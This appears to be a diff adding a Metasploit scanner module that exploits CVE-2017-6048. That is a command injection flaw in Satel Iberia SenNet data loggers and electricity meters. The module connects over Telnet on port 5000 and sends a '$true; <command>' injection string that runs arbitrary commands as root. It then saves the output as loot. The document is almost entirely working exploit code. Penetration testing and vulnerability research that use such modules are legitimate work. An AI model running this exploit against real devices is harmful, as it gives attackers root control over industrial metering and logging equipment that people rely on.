|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Exploit::Remote::Telnet |
| 8 | + include Msf::Auxiliary::Report |
| 9 | + include Msf::Auxiliary::Scanner |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => 'Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability', |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters |
| 16 | + to perform arbitrary command execution as 'root'. |
| 17 | + }, |
| 18 | + 'References' => |
| 19 | + [ |
| 20 | + [ 'CVE', '2017-6048' ], |
| 21 | + [ 'URL', 'https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/' ], |
| 22 | + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-131-02' ] |
| 23 | + ], |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>' |
| 27 | + ], |
| 28 | + 'DisclosureDate' => 'Apr 07, 2017', |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'DefaultOptions' => { 'VERBOSE' => true }) |
| 31 | + ) |
| 32 | + |
| 33 | + register_options( |
| 34 | + [ |
| 35 | + Opt::RPORT(5000), |
| 36 | + OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]), |
| 37 | + OptString.new('CMD', [true, 'Command(s) to run', 'id']) |
| 38 | + ], self.class |
| 39 | + ) |
| 40 | + |
| 41 | + deregister_options('USERNAME', 'PASSWORD') |
| 42 | + end |
| 43 | + |
| 44 | + def run_host(ip) |
| 45 | + to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT'] |
| 46 | + begin |
| 47 | + ::Timeout.timeout(to) do |
| 48 | + command = datastore['CMD'] |
| 49 | + inject = "$true; #{command}" |
| 50 | + res = connect |
| 51 | + |
| 52 | + print_status("Sending command now - #{command}") |
| 53 | + |
| 54 | + sock.puts(inject) |
| 55 | + data = sock.get_once(-1, to) |
| 56 | + print_good("#{data}") |
| 57 | + |
| 58 | + loot_name = 'cmd-exec-log' |
| 59 | + loot_type = 'text/plain' |
| 60 | + loot_desc = 'Satel SenNet CMD Exec Dump' |
| 61 | + p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc) |
| 62 | + print_good("File saved in: #{p}") |
| 63 | + end |
| 64 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 65 | + print_error("#{rhost}:#{rport} - Connection Failed...") |
| 66 | + return false |
| 67 | + ensure |
| 68 | + disconnect |
| 69 | + end |
| 70 | + end |
| 71 | +end |
0 commit comments